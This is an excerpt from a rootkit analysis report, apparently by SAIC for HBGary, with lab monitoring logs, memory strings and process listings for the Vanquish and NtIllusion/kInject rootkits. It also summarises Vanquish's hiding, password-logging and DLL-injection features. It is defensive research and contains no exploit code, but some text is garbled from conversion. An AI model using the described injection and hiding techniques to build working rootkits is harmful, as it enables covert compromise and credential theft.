QueryOpen   C:\WINDOWS\system32\imm32.dll SUCCESS Desired Access: Read

RegOpenKey   HKLM\Software\Microsoft\Window s NT\CurrentVersion\Image File Execution Options\ntdll.dll NAME   NOT FOUND Desired Access: Read

RegOpenKey   HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\kernel32.dll NAME NOT FOUND Desired Access: Read

RegOpenKey   HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Secur32.dll NAME NOT FOUND Desired Access: Read

RegOpenKey   HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RPCRT4.dll NAME NOT FOUND Desired Access: Read


RegOpenKey   HKLM\System\CurrentControlSet\Control\Error Message Instrument NAME   NOT FOUND Desired Access: Read

RegOpenKey   HKLM\Software\Microsoft\Windows NT\CurrentVersion\GRE_Initialize SUCCESS Desired Access: Read

RegQueryValue HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles NAME   NOT FOUND Length: 20

RegCloseKey HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize SUCCESS Desired Access: Read

RegOpenKey   HKLM\Software\Microsoft\Windows NT\CurrentVersion\Compatibility SUCCESS Desired Access: Read

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
<table>
<thead>
<tr>
<th>Function</th>
<th>Key Path</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>RegQueryValue</td>
<td>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Compatibility\32\vanquish</td>
<td>NAME NOT FOUND Length: 172</td>
</tr>
<tr>
<td>RegCloseKey</td>
<td>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Compatibility\32</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>RegOpenKey</td>
<td>HKLM\Software\Microsoft\Windows NT\CurrentVersion\IME Compatibility</td>
<td>SUCCESS Desired Access: Read</td>
</tr>
<tr>
<td>RegQueryValue</td>
<td>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\IME Compatibility\vanquish</td>
<td>NAME NOT FOUND Length: 172</td>
</tr>
<tr>
<td>RegCloseKey</td>
<td>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\IME Compatibility</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>RegOpenKey</td>
<td>HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows</td>
<td>SUCCESS Desired Access: Read</td>
</tr>
<tr>
<td>RegQueryValue</td>
<td>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\Application\Init_DLLs</td>
<td>SUCCESS Type: REG_SZ, Length: 2, Data:</td>
</tr>
<tr>
<td>RegCloseKey</td>
<td>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>RegOpenKey</td>
<td>HKLM\System\CurrentControlSet\Control\Terminal Server\TSAppCompat</td>
<td>SUCCESS Desired Access: Read</td>
</tr>
<tr>
<td>RegQueryValue</td>
<td>HKLM\System\CurrentControlSet\Control\Terminal Server\TSUserEnabled</td>
<td>SUCCESS Type: REG_DWORD, Length: 4, Data: 0</td>
</tr>
<tr>
<td>RegCloseKey</td>
<td>HKLM\System\CurrentControlSet\Control\Terminal Server</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>RegOpenKey</td>
<td>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon</td>
<td>SUCCESS Desired Access: Read</td>
</tr>
<tr>
<td>RegQueryValue</td>
<td>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LeakTrack</td>
<td>NAME NOT FOUND Length: 144</td>
</tr>
<tr>
<td>RegCloseKey</td>
<td>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>RegOpenKey</td>
<td>HKLM</td>
<td>SUCCESS Desired Access: Maximum Allowed</td>
</tr>
<tr>
<td>RegOpenKey</td>
<td>HKLM\Software\Microsoft\Windows NT\CurrentVersion\Diagnostics</td>
<td>NAME NOT FOUND Desired Access: Read</td>
</tr>
</tbody>
</table>

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
RegOpenKey HKLM\Software\Microsoft\Rpc\PagedBuffers NAME NOT FOUND Desired Access: Read

RegOpenKey HKLM\SOFTWARE\Microsoft\Rpc\MaxRpcSize SUCCESS Desired Access: Read

RegQueryValue HKLM\SOFTWARE\Microsoft\Rpc\MaxRpcSize NAME NOT FOUND Length: 144

RegCloseKey HKLM\SOFTWARE\Microsoft\Rpc SUCCESS

RegOpenKey HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Image File Execution Options\vanquish.exe\RpcThreadPoolThrottle

RegOpenKey HKLM\Software\Policies\Microsoft\Windows NT\Rpc NAME NOT FOUND Desired Access: Read

RegOpenKey HKLM\System\CurrentControlSet\Control\ComputerName SUCCESS Desired Access: Read

RegOpenKey HKLM\System\CurrentControlSet\Control\ComputerName\Active ComputerName SUCCESS Desired Access: Read

RegQueryValue HKLM\System\CurrentControlSet\Control\ComputerName\Active ComputerName\ComputerName SUCCESS Type: REG_SZ, Length: 24, Data: DELLLAPTOP3

RegCloseKey HKLM\System\CurrentControlSet\Control\ComputerName\Active ComputerName SUCCESS

QueryNameInformationFile C:\Documents and Settings\210user\Desktop\vanquish.exe SUCCESS Name: \Documents and Settings\210user\Desktop\vanquish.exe

RegCloseKey HKLM\System\CurrentControlSet\Control\ComputerName SUCCESS

QueryNameInformationFile <INVALID NAME> INVALID HANDLE Name: \Documents and Settings\210user\Desktop\vanquish.exe

RegOpenKey HKLM\System\CurrentControlSet\Control\ServiceCurrent SUCCESS Desired Access: Query Value

RegQueryValue HKLM\System\CurrentControlSet\Control\ServiceCurrent\(Default ) SUCCESS Desired Access: REG_DWORD, Length: 4, Data: 10

RegCloseKey HKLM\System\CurrentControlSet\Control\ServiceCurrent SUCCESS


QueryStandardInformationFile C:\vanquish.log SUCCESS

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
The next log is created by Vanquish and placed in C:

**Vanquish Log File (Created by rootkit, placed in root directory “C:”)**

***Application: C:\DOCUME~1\210user\LOCALS~1\Temp\Temporary Directory 1 for vanquish-0.2.1.zip\bin\vanquish.exe***
***Time: 5:49:23 PM***
***Date: 10/21/2008***
0x00000427: The service process could not connect to the service controller. Service Control Dispatcher failed.

***Application: C:\DOCUME~1\210user\LOCALS~1\Temp\Temporary Directory 2 for vanquish-0.2.1.zip\bin\vanquish.exe***
***Time: 5:55:11 PM***
***Date: 10/21/2008***
0x00000427: The service process could not connect to the service controller. Service Control Dispatcher failed.

***Application: C:\DOCUME~1\210user\LOCALS~1\Temp\Temporary Directory 3 for vanquish-0.2.1.zip\bin\vanquish.exe***
***Time: 5:59:25 PM***
***Date: 10/21/2008***
0x00000427: The service process could not connect to the service controller. Service Control Dispatcher failed.

***Application: C:\Documents and Settings\210user\Desktop\vanquish.exe***
***Time: 6:00:32 PM***
***Date: 10/21/2008***

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
0x00000427: The service process could not connect to the service controller. Service Control Dispatcher failed.

***Application: C:\Documents and Settings\210user\Desktop\vanquish.exe
***Time: 6:05:59 PM
***Date: 10/21/2008
0x00000427: The service process could not connect to the service controller. Service Control Dispatcher failed.

***Application: C:\Documents and Settings\210user\Desktop\vanquish.exe
***Time: 7:44:55 AM
***Date: 10/22/2008
0x00000427: The service process could not connect to the service controller. Service Control Dispatcher failed.

***Application: C:\Documents and Settings\210user\Desktop\vanquish.exe
***Time: 7:45:57 AM
***Date: 10/22/2008
0x00000427: The service process could not connect to the service controller. Service Control Dispatcher failed.

***Application: C:\Documents and Settings\210user\Desktop\vanquish.exe
***Time: 9:13:11 AM
***Date: 10/22/2008
0x00000427: The service process could not connect to the service controller. Service Control Dispatcher failed.

***Application: C:\Documents and Settings\210user\Desktop\vanquish.exe
***Time: 9:22:04 AM
***Date: 10/22/2008
0x00000427: The service process could not connect to the service controller. Service Control Dispatcher failed.

***Application: C:\Documents and Settings\210user\Desktop\vanquish.exe
***Time: 9:49:37 AM
***Date: 10/22/2008
0x00000427: The service process could not connect to the service controller. Service Control Dispatcher failed.

***Application: C:\Documents and Settings\210user\Desktop\vanquish.exe
***Time: 9:50:28 AM
***Date: 10/22/2008
0x00000427: The service process could not connect to the service controller. Service Control Dispatcher failed.

***Application: C:\Documents and Settings\210user\Desktop\vanquish.exe
***Time: 2:04:21 PM
***Date: 10/22/2008
0x00000427: The service process could not connect to the service controller.

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
Service Control Dispatcher failed.

The following is from Process Explorer and contains the memory strings that

**Process Explorer Memory Strings Vanquish**

<table>
<thead>
<tr>
<th>Memory String</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>jij</td>
<td>VarFileInfo</td>
</tr>
<tr>
<td>@jjj</td>
<td>Translation</td>
</tr>
<tr>
<td>@jjj</td>
<td>!This program cannot be run in DOS mode.</td>
</tr>
<tr>
<td>jjh</td>
<td>Rich</td>
</tr>
<tr>
<td>jjh</td>
<td><code>.data</code></td>
</tr>
<tr>
<td>@jjj</td>
<td>@.data</td>
</tr>
<tr>
<td>@jjj</td>
<td><code>.rsrc</code></td>
</tr>
<tr>
<td>@jjjj</td>
<td>Rh&lt;B@</td>
</tr>
<tr>
<td>@jjj</td>
<td>Qh`B@</td>
</tr>
<tr>
<td>@jjj</td>
<td>tXj</td>
</tr>
<tr>
<td>VANQUISH.DLL</td>
<td>QhtB@</td>
</tr>
<tr>
<td>VRTMutexCommonExec__v</td>
<td>PVW</td>
</tr>
<tr>
<td>@c:vanquish.log</td>
<td>hLE@</td>
</tr>
<tr>
<td>KERNEL32.DLL</td>
<td>hhE@</td>
</tr>
<tr>
<td>-install</td>
<td>hDF@</td>
</tr>
<tr>
<td>-remove</td>
<td>ohXF@</td>
</tr>
<tr>
<td>VS_VERSION_INFO</td>
<td>_hhF@</td>
</tr>
<tr>
<td>StringFileInfo</td>
<td>GetCurrentProcess</td>
</tr>
<tr>
<td>Comments</td>
<td>GetLastError</td>
</tr>
<tr>
<td>CompanyName</td>
<td>SetLastError</td>
</tr>
<tr>
<td>FileDescription</td>
<td>GetProcAddress</td>
</tr>
<tr>
<td>Vanquish Autoloader v0.2.1</td>
<td>CloseHandle</td>
</tr>
<tr>
<td>FileVersion</td>
<td>ResumeThread</td>
</tr>
<tr>
<td>InternalName</td>
<td>SuspendThread</td>
</tr>
<tr>
<td>Autoloader</td>
<td>SetThreadPriority</td>
</tr>
<tr>
<td>LegalCopyright</td>
<td>GetThreadPriority</td>
</tr>
<tr>
<td>Copyright</td>
<td>OpenThread</td>
</tr>
<tr>
<td>2003-2005 XShadow. All rights reserved.</td>
<td>ReadProcessMemory</td>
</tr>
<tr>
<td>LegalTrademarks</td>
<td>OpenProcess</td>
</tr>
<tr>
<td>OriginalFilename</td>
<td>SetThreadContext</td>
</tr>
<tr>
<td>vanquish.exe</td>
<td>WriteProcessMemory</td>
</tr>
<tr>
<td>lstrcpyW</td>
<td>VirtualAllocEx</td>
</tr>
<tr>
<td>PrivateBuild</td>
<td>GetThreadContext</td>
</tr>
<tr>
<td>ProductName</td>
<td>LocalFree</td>
</tr>
<tr>
<td>Vanquish Autoloader</td>
<td>FormatMessageA</td>
</tr>
<tr>
<td>ProductVersion</td>
<td>GetDateFormatA</td>
</tr>
</tbody>
</table>

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
GetTimeFormatA
WriteFile
SetFilePointer
CreateFileW
IsBadReadPtr
GetModuleFileNameA
VirtualQuery
SetUnhandledExceptionFilter
ExitProcess
HeapValidate
HeapCreate
HeapDestroy
HeapAlloc
HeapReAlloc
HeapFree
Process32Next
Process32First
CreateToolhelp32Snapshot
GetCurrentProcessId
GetModuleHandleW
GetCurrentThread
GetThreadContext
VirtualAllocEx
WriteProcessMemory
VerifyWriteProcessMemory
WriteProcessMemory(ESP)
VerifyWriteProcessMemory(ESP)
SetThreadContext
Vanquish
SeDebugPrivilege
VRTAlloc(NEW)
OpenProcessToken
AdjustTokenPrivilege
LoadLibraryW
Prepare injector failed! Cannot find address of LoadLibraryW
FreeLibrary
Prepare injector failed! Cannot find address of FreeLibrary
GetThreadContext
VirtualAllocEx
WriteProcessMemory
VerifyWriteProcessMemory
SetServiceStatus
CloseServiceHandle
OpenSCManagerA
DeleteService
QueryServiceStatus
ControlService
OpenServiceA
StartServiceCtrlDispatcherA
ADVAPI32.dll

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
vanquish  
Service installed successfully.  
Service install failed.  
Cannot open SCM! Maybe not admin!?  
vanquish  
Service removed successfully.  
Service removal failed.  
Cannot open Vanquish Service! Maybe not installed!?  
Cannot open SCM! Maybe not admin!?  
vanquish  
Service Control Dispatcher failed.

Miscellaneous Information and Summary

As I said, at the onset of the Vanquish investigation it is a rootkit of many talents. According to the readme.txt it has six wonderful utilities that can be employed. They include the following, *Dll Utilities* which allows Vanquish to be injected into the dlls of new process; *Hide Files* is self explanatory and will hide files and folders with the use of the string “vanquish”; *Hide Registries* will as it says hide registries upon use of the “vanquish” string; *Hide Services* will hide service entries with the “vanquish” string in their name; *Password Log* will log usernames, passwords and domain; and finally *Source Protect* will prevent the deletion of files and folders. To gain a more in depth understanding of these features and learn the operation of this rootkit the whole readme file can be found at https://www.rootkit.com/vault/xshadow/ReadMe.txt.
When executed, the NtIllusion elements did not show themselves in the monitoring software. Flypaper had to be utilized in order to capture any information. First, I will show the monitoring logs from two of the executables within the NtIllusion rootkit and then give a summary.

There were three executables within this rootkit, the one that I did not run through the tests was UPX.exe, the Ultimate Packer for eXecutables, according to http://upx.sourceforge.net. Also from sourceforge.net, “UPX is a free, portable, extendable, high-performance executable packer for several different executable formats. It achieves an excellent compression ratio and offers very fast decompression. Your executables suffer no memory overhead or other drawbacks for most of the formats supported, because of in-place decompression.”
### Windows Task Manager `kinject.exe`

<table>
<thead>
<tr>
<th>Image Name</th>
<th>PID</th>
<th>CPU</th>
<th>Mem Usage</th>
<th>Handles</th>
<th>Threads</th>
</tr>
</thead>
<tbody>
<tr>
<td>PQV2Svc.exe</td>
<td>1692</td>
<td>00</td>
<td>17,580 K</td>
<td>222</td>
<td>8</td>
</tr>
<tr>
<td>cfmon.exe</td>
<td>1664</td>
<td>00</td>
<td>3,456 K</td>
<td>100</td>
<td>1</td>
</tr>
<tr>
<td>gearser.exe</td>
<td>1600</td>
<td>00</td>
<td>1,092 K</td>
<td>29</td>
<td>2</td>
</tr>
<tr>
<td>spoolsv.exe</td>
<td>1452</td>
<td>00</td>
<td>4,452 K</td>
<td>120</td>
<td>10</td>
</tr>
<tr>
<td>explorer.exe</td>
<td>1424</td>
<td>00</td>
<td>25,548 K</td>
<td>471</td>
<td>12</td>
</tr>
<tr>
<td>proexp.exe</td>
<td>1384</td>
<td>01</td>
<td>9,936 K</td>
<td>246</td>
<td>8</td>
</tr>
<tr>
<td>ExmpSrv.exe</td>
<td>1220</td>
<td>00</td>
<td>30,204 K</td>
<td>190</td>
<td>9</td>
</tr>
<tr>
<td><code>kinject.exe</code></td>
<td>1216</td>
<td>00</td>
<td>864 K</td>
<td>10</td>
<td>1</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>1148</td>
<td>00</td>
<td>4,228 K</td>
<td>202</td>
<td>13</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>1088</td>
<td>00</td>
<td>2,776 K</td>
<td>57</td>
<td>4</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>1040</td>
<td>00</td>
<td>19,988 K</td>
<td>1,314</td>
<td>63</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>1004</td>
<td>00</td>
<td>4,064 K</td>
<td>247</td>
<td>10</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>948</td>
<td>00</td>
<td>4,564 K</td>
<td>194</td>
<td>16</td>
</tr>
<tr>
<td>taskmgr.exe</td>
<td>904</td>
<td>01</td>
<td>4,480 K</td>
<td>79</td>
<td>3</td>
</tr>
<tr>
<td>lsass.exe</td>
<td>796</td>
<td>00</td>
<td>1,272 K</td>
<td>344</td>
<td>21</td>
</tr>
<tr>
<td>services.exe</td>
<td>794</td>
<td>01</td>
<td>3,196 K</td>
<td>258</td>
<td>16</td>
</tr>
<tr>
<td>winlogon.exe</td>
<td>740</td>
<td>00</td>
<td>432 K</td>
<td>578</td>
<td>21</td>
</tr>
<tr>
<td>csrss.exe</td>
<td>716</td>
<td>00</td>
<td>1,752 K</td>
<td>356</td>
<td>11</td>
</tr>
<tr>
<td>smss.exe</td>
<td>668</td>
<td>00</td>
<td>372 K</td>
<td>19</td>
<td>3</td>
</tr>
<tr>
<td>wscntfy.exe</td>
<td>592</td>
<td>00</td>
<td>2,220 K</td>
<td>39</td>
<td>1</td>
</tr>
<tr>
<td>alg.exe</td>
<td>564</td>
<td>00</td>
<td>3,396 K</td>
<td>99</td>
<td>5</td>
</tr>
<tr>
<td>GhostTray.exe</td>
<td>224</td>
<td>00</td>
<td>7,744 K</td>
<td>185</td>
<td>8</td>
</tr>
<tr>
<td>System</td>
<td>4</td>
<td>00</td>
<td>212 K</td>
<td>206</td>
<td>88</td>
</tr>
<tr>
<td>System Idle Process</td>
<td>0</td>
<td>97</td>
<td>16 K</td>
<td>0</td>
<td>1</td>
</tr>
</tbody>
</table>

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
Handle kinject.exe

Below is an excerpt from Sysinternals Handle as you can see there are (10) as was shown in the above Task Manager screen shot.

------------------------------------------------------------------------------
kinject.exe pid: 1640 DELLLAPTOP3\210user
  4: KeyedEvent  \KernelObjects\CritSecOutOfMemoryEvent
  8: Directory  \KnownDlls
  C: File (RW-)  C:\Documents and Settings\210user\Desktop
  10: Semaphore
  14: Directory  \Windows
  18: Port
  1C: Semaphore
  20: Event
  24: WindowStation  \Windows\WindowStations\WinSta0
  28: Key        HKLM
------------------------------------------------------------------------------

Process Explorer Threads kinject.exe

ntosknl.exe       ExReleaseResourceLite+0x1a3
ntosknl.exe       PsGetContextThread+0x329
ntdll.dll         KiFastSystemCallRet
kernel32.dll      GetConsoleInputWaitHandle+0x318
kernel32.dll      ReadConsoleA+0x3b
kernel32.dll      ReadFile+0xa5
msvcrtd.dll       putch+0xad
msvcrtd.dll       read+0x57
msvcrtd.dll       filbuf+0x53
msvcrtd.dll       getc+0x2f
msvcrtd.dll       fgetchar+0xa
kinject.exe+0x18a6
kinject.exe+0x11d3
kinject.exe+0x1203
kernel32.dll      RegisterWaitForInputIdle+0x49

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
Next I will show the memory from the strings tab in Process Explorer.

**Process Explorer Strings Memory kinject.exe**

<table>
<thead>
<tr>
<th>Function/Module</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>jij</td>
<td>This program cannot be run in DOS mode.</td>
</tr>
<tr>
<td>!This program cannot be run in DOS mode.</td>
<td></td>
</tr>
<tr>
<td>.text</td>
<td></td>
</tr>
<tr>
<td>.data</td>
<td></td>
</tr>
<tr>
<td>.idata</td>
<td></td>
</tr>
<tr>
<td>QRP</td>
<td></td>
</tr>
<tr>
<td>@QRP</td>
<td></td>
</tr>
<tr>
<td>QQRp</td>
<td>Still can't open process.</td>
</tr>
<tr>
<td>PPj</td>
<td>(Sure it exists ?)</td>
</tr>
<tr>
<td>PPj</td>
<td>Injecting DLL %s in Pid: %d...</td>
</tr>
<tr>
<td>PPj</td>
<td>Unknow command parameter.</td>
</tr>
<tr>
<td>QRP</td>
<td></td>
</tr>
<tr>
<td>Kernel32.DLL</td>
<td></td>
</tr>
<tr>
<td>CreateToolhelp32Snap</td>
<td></td>
</tr>
<tr>
<td>hot</td>
<td></td>
</tr>
<tr>
<td>Process32First</td>
<td></td>
</tr>
<tr>
<td>Process32Next</td>
<td></td>
</tr>
<tr>
<td>LoadLibraryA</td>
<td></td>
</tr>
<tr>
<td>kernel32.dll</td>
<td></td>
</tr>
<tr>
<td>![!] Error while getting</td>
<td></td>
</tr>
<tr>
<td>LoadLibraryA address.</td>
<td></td>
</tr>
<tr>
<td>![!] Cannot create thread.</td>
<td></td>
</tr>
<tr>
<td>![!] Thread TIME OUT.</td>
<td></td>
</tr>
<tr>
<td>SeDebugPrivilege</td>
<td></td>
</tr>
<tr>
<td>** Running kInject v1.0</td>
<td></td>
</tr>
<tr>
<td>by Kdm</td>
<td></td>
</tr>
<tr>
<td>(<a href="mailto:kodmaker@netcourrier.com">kodmaker@netcourrier.com</a>)</td>
<td></td>
</tr>
<tr>
<td>![!] CreateProcess failed</td>
<td></td>
</tr>
<tr>
<td>Creating process %s...</td>
<td></td>
</tr>
<tr>
<td>![!] CreateProcess failed</td>
<td></td>
</tr>
<tr>
<td>Injecting DLL %s...</td>
<td></td>
</tr>
<tr>
<td>--runtime</td>
<td></td>
</tr>
<tr>
<td>CreateRemoteThread</td>
<td></td>
</tr>
<tr>
<td>ExitProcess</td>
<td></td>
</tr>
<tr>
<td>FreeLibrary</td>
<td></td>
</tr>
<tr>
<td>GetCurrentProcess</td>
<td></td>
</tr>
<tr>
<td>GetLastError</td>
<td></td>
</tr>
<tr>
<td>GetModuleHandleA</td>
<td></td>
</tr>
<tr>
<td>GetProcAddress</td>
<td></td>
</tr>
<tr>
<td>LoadLibraryA</td>
<td></td>
</tr>
<tr>
<td>OpenProcess</td>
<td></td>
</tr>
<tr>
<td>SetUnhandledException</td>
<td></td>
</tr>
<tr>
<td>Filter</td>
<td></td>
</tr>
<tr>
<td>Sleep</td>
<td></td>
</tr>
<tr>
<td>VirtualAllocEx</td>
<td></td>
</tr>
<tr>
<td>WaitForSingleObject</td>
<td></td>
</tr>
<tr>
<td>WriteProcessMemory</td>
<td></td>
</tr>
<tr>
<td>__getmainargs</td>
<td></td>
</tr>
<tr>
<td>__p__environ</td>
<td></td>
</tr>
<tr>
<td>__set_app_type</td>
<td></td>
</tr>
<tr>
<td>__cexit</td>
<td></td>
</tr>
<tr>
<td>_fileno</td>
<td></td>
</tr>
<tr>
<td>_fmode</td>
<td></td>
</tr>
<tr>
<td>_fpreset</td>
<td></td>
</tr>
<tr>
<td>__job</td>
<td></td>
</tr>
<tr>
<td>__setmode</td>
<td></td>
</tr>
<tr>
<td>atexit</td>
<td></td>
</tr>
<tr>
<td>atol</td>
<td></td>
</tr>
<tr>
<td>getchar</td>
<td></td>
</tr>
<tr>
<td>getcwd</td>
<td></td>
</tr>
<tr>
<td>memset</td>
<td></td>
</tr>
<tr>
<td>printf</td>
<td></td>
</tr>
<tr>
<td>signal</td>
<td></td>
</tr>
<tr>
<td>strcmp</td>
<td></td>
</tr>
<tr>
<td>strlen</td>
<td></td>
</tr>
<tr>
<td>ADVAPI32.DLL</td>
<td></td>
</tr>
<tr>
<td>KERNEL32.dll</td>
<td></td>
</tr>
<tr>
<td>msvcrtd.dll</td>
<td></td>
</tr>
</tbody>
</table>
The next log is from Process Monitor and shows all of the various operations that occurred and their results. It is quite an extensive log but I thought it was important to see all of the various files that it was trying to access.

### Process Monitor kinject.exe

<table>
<thead>
<tr>
<th>Process Name</th>
<th>Operation</th>
<th>Path</th>
<th>Result</th>
<th>Detail</th>
<th>TID</th>
</tr>
</thead>
<tbody>
<tr>
<td>kinject.exe</td>
<td>Process Start</td>
<td></td>
<td>SUCCESS</td>
<td>Parent PID: 1404</td>
<td>1408</td>
</tr>
<tr>
<td>kinject.exe</td>
<td>Thread Create</td>
<td></td>
<td>SUCCESS</td>
<td>Thread ID: 2084</td>
<td>1408</td>
</tr>
<tr>
<td>kinject.exe</td>
<td>QueryNameInformationFile</td>
<td>C:\Documents and Settings\210user\Desktop\kinject.exe</td>
<td>SUCCESS</td>
<td>Name: Documents and Settings\210user\Desktop\kinject.exe</td>
<td>2084</td>
</tr>
<tr>
<td>kinject.exe</td>
<td>Load Image</td>
<td>C:\Documents and Settings\210user\Desktop\kinject.exe</td>
<td>SUCCESS</td>
<td>Image Base: 0x400000, Image Size: 0x34a8</td>
<td>2084</td>
</tr>
<tr>
<td>kinject.exe</td>
<td>Load Image</td>
<td>C:\WINDOW\System32\ntdll.dll</td>
<td>SUCCESS</td>
<td>Image Base: 0x7c900000, Image Size: 0xf000</td>
<td>2084</td>
</tr>
<tr>
<td>kinject.exe</td>
<td>QueryNameInformationFile</td>
<td>C:\Documents and Settings\210user\Desktop\kinject.exe</td>
<td>SUCCESS</td>
<td>Name: Documents and Settings\210user\Desktop\kinject.exe</td>
<td>2084</td>
</tr>
<tr>
<td>kinject.exe</td>
<td>CreateFile</td>
<td>C:\WINDOW\Prefetch\KI\NJECT.EXE-337BBD14.pf</td>
<td>SUCCESS</td>
<td>Desired Access: Generic Read, Generic Write, Generic Execute, Open, Write, Read, Execute, Vertiable IO Non-Alert, Attributes: n/a, ShareMode: None, AllocationSize: n/a, OpenResult: Opened, AllocationSize: 8,192, EndOfFile: 4,374, NumberOfLinks: 1, DeletePending: False, Directory: False</td>
<td>2084</td>
</tr>
<tr>
<td>kinject.exe</td>
<td>QueryStandardInformationFile</td>
<td>C:\WINDOW\Prefetch\KI\NJECT.EXE-337BBD14.pf</td>
<td>SUCCESS</td>
<td></td>
<td>2084</td>
</tr>
<tr>
<td>kinject.exe</td>
<td>ReadFile</td>
<td>C:\WINDOW\Prefetch\KI\NJECT.EXE-337BBD14.pf</td>
<td>SUCCESS</td>
<td>Offset: 0, Length: 4,374</td>
<td>2084</td>
</tr>
<tr>
<td>kinject.exe</td>
<td>CloseFile</td>
<td>C:\WINDOW\Prefetch\KI\NJECT.EXE-337BBD14.pf</td>
<td>SUCCESS</td>
<td></td>
<td>2084</td>
</tr>
<tr>
<td>kinject.exe</td>
<td>CreateFile</td>
<td></td>
<td>SUCCESS</td>
<td>Desired Access: Read</td>
<td>2084</td>
</tr>
</tbody>
</table>

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
kinject.exe QueryInformatio
nVolume C: SUCCESS

Attributes, Write
Attributes,
Synchronize,
Disposition: Open,
Options: Synchronous
IO Non-Alert,
Attributes: n/a,
ShareMode: Read,
Write, Delete,
AllocationSize: n/a,
OpenResult: Opened
VolumeCreationTime:
1/26/2008 2:05:49 PM,
VolumeSerialNumber: 4016-EE0A,
SupportsObjects: True,
VolumeLabel: 
Control:

kinject.exe FileSystemConstr
ol C: SUCCESS

Desired Access: Read
Data/List Directory,
Synchronize,
Disposition: Open,
Options: Directory,
Synchronous IO Non-
Alert, Open For
Backup, Attributes: n/a,
ShareMode: Read,
Write, Delete,
AllocationSize: n/a,
OpenResult: n/a,
VolumeLabel: 
Control:

kinject.exe CreateFile C:\ SUCCESS

Desired Access: Read
Data/List Directory,
Synchronize,

kinject.exe QueryDirectory C:\ SUCCESS

NO MORE
FILES

kinject.exe QueryDirectory C:\ SUCCESS

FILES

kinject.exe CloseFile C:\\DOCUMENTS AND SETTINGS SUCCESS

Desired Access: Read
Data/List Directory,
Synchronize,
The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
$NtServicePackUninstall$, 5:
$NtServicePackUninstallIIDNMitigationAPIs$, 6:
$NtServicePackUninstallINLSDownlevelMapping$, 7:
$NtUninstallKB873339$, 8:
$NtUninstallKB885835$, 9:
$NtUninstallKB885836$, 10:
$NtUninstallKB886185$, 11:
$NtUninstallKB887472$, 12:
$NtUninstallKB888302$, 13:
$NtUninstallKB890046$, 14:
$NtUninstallKB890859$, 15:
$NtUninstallKB891781$, 16:
$NtUninstallKB893756$, 17:
$NtUninstallKB894391$, 18:
$NtUninstallKB896358$, 19:
$NtUninstallKB896423$, 20:
$NtUninstallKB896428$, 21:
$NtUninstallKB898461$, 22:
$NtUninstallKB899587$, 23:
$NtUninstallKB899591$, 24:
$NtUninstallKB900485$, 25:
$NtUninstallKB900725$, 26:
$NtUninstallKB901017$, 27:
$NtUninstallKB901214$, 28:
$NtUninstallKB902400$, 29:
$NtUninstallKB904942$, 30:
$NtUninstallKB905414$
The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.

-38-
kinject.exe  CloseFile  C:\WINDOWS S\SUCCESS

Desired Access: Read
Data/List Directory,
Synchronize,
Disposition: Open,
Options: Directory,
Synchronous IO Non-Alert, Open For
Backup, Attributes: n/a,
ShareMode: Read,
Write, Delete,
AllocationSize: n/a,
OpenResult: Opened

kinject.exe  CreateFile  C:\WINDOWS S\system32 SUCCESS

0: ., 1: .., 2: $winnt$.inf, 3: 1025, 4:
1028, 5: 1031, 6: 1033,
7: 1037, 8: 1041, 9:
1042, 10: 1054, 11:
12520437.cpx, 12:
12520850.cpx, 13:
